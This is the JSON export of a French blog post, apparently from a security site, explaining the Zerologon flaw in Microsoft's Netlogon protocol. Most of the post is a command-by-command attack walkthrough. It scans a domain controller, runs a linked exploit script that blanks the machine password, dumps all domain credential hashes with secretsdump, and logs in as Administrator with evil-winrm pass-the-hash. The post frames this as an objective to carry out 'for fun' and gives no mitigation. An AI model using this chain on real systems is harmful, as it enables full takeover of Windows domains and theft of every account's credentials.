{"id":814,"date":"2021-09-14T19:44:12","date_gmt":"2021-09-15T00:44:12","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=814"},"modified":"2022-04-27T07:41:49","modified_gmt":"2022-04-27T12:41:49","slug":"vulnerabilite-zero-logon","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/09\/14\/vulnerabilite-zero-logon\/","title":{"rendered":"Vuln\u00e9rabilit\u00e9 zero logon"},"content":{"rendered":"<p>Objectif : <\/p>\n<ul>\n<li>utiliser la vuln\u00e9rabilit\u00e9 Zero Logon pour outrepasser l&#8217;authentification sur la machine agissant comme controlleur de domaines<\/li>\n<li>Utiliser secretsdump.py pour obtenir les identifiants<\/li>\n<li>cracker les hashes<\/li>\n<li>avoir du plaisir<\/li>\n<\/ul>\n<p>Microsoft a choisi d&#8217;utiliser l&#8217;encryption AES-CFB8 pour la fonction <em>ComputeNetlogonCredential<\/em> de MS-NRPC. Le probl\u00e8me est le vecteur d&#8217;initialisation utilis\u00e9 qui ne contient que des &#8220;0&#8221; au lieu d&#8217;une valeur al\u00e9atoire. Quand un attaquant avant un message ne contenant que des 0, il y a une chance sur 256 pour que le texte encod\u00e9 soit 0.<\/p>\n<p>Normalement, le compte d&#8217;un utilisateur serait d\u00e9sactiv\u00e9 en essayant diff\u00e9rents mots de passe, mais pas le compte d&#8217;une machine.<\/p>\n<p>Pour l&#8217;exploit, il faut trouver le nom netbios du controlleur de domaines<\/p>\n<p><code>nmap -sV -sC -oA scans\/initial 10.10.10.10 <\/code><\/p>\n<p>maintenant, vous avez besoin de <a href=\"https:\/\/www.searchevolution.com\/security\/wp-content\/uploads\/2021\/09\/zerologon.zip\">l&#8217;exploit<\/a> zero logon<\/p>\n<p><code>python3 zerologon.py the_netbios_name 10.10.10.10 #permet de mettre un mot de passe nul<\/code><\/p>\n<p><code>secretsdump.py -just-dc -no-pass the_netbios_name\\$@10.10.10.10 #de impacket #permet de lister tous les comptes. Les comptes administrateur du domaine commence souvent par a-username<\/code><\/p>\n<p><code>evil-winrm -u Administrator -H ntlm_administrateur -i 10.10.10.10 #permet de se connecter en tant qu&#039;administrateur sur le controlleur de domaine<\/code><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Objectif : utiliser la vuln\u00e9rabilit\u00e9 Zero Logon pour outrepasser l&#8217;authentification sur la machine agissant comme controlleur de domaines Utiliser secretsdump.py pour obtenir les identifiants cracker les hashes avoir du plaisir Microsoft a choisi d&#8217;utiliser l&#8217;encryption AES-CFB8 pour la fonction ComputeNetlogonCredential de MS-NRPC. Le probl\u00e8me est le vecteur d&#8217;initialisation utilis\u00e9 qui ne contient que des &#8220;0&#8221; au lieu d&#8217;une valeur al\u00e9atoire. Quand un attaquant avant un message ne contenant que des 0, il y a une chance sur 256 pour que le texte encod\u00e9 soit 0. Normalement, le compte d&#8217;un utilisateur serait d\u00e9sactiv\u00e9 en essayant diff\u00e9rents mots de passe, mais pas <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[22],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Vuln\u00e9rabilit\u00e9 zero logon - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/09\/14\/vulnerabilite-zero-logon\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Vuln\u00e9rabilit\u00e9 zero logon - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Objectif : utiliser la vuln\u00e9rabilit\u00e9 Zero Logon pour outrepasser l&#8217;authentification sur la machine agissant comme controlleur de domaines Utiliser secretsdump.py pour obtenir les identifiants cracker les hashes avoir du plaisir Microsoft a choisi d&#8217;utiliser l&#8217;encryption AES-CFB8 pour la fonction ComputeNetlogonCredential de MS-NRPC. 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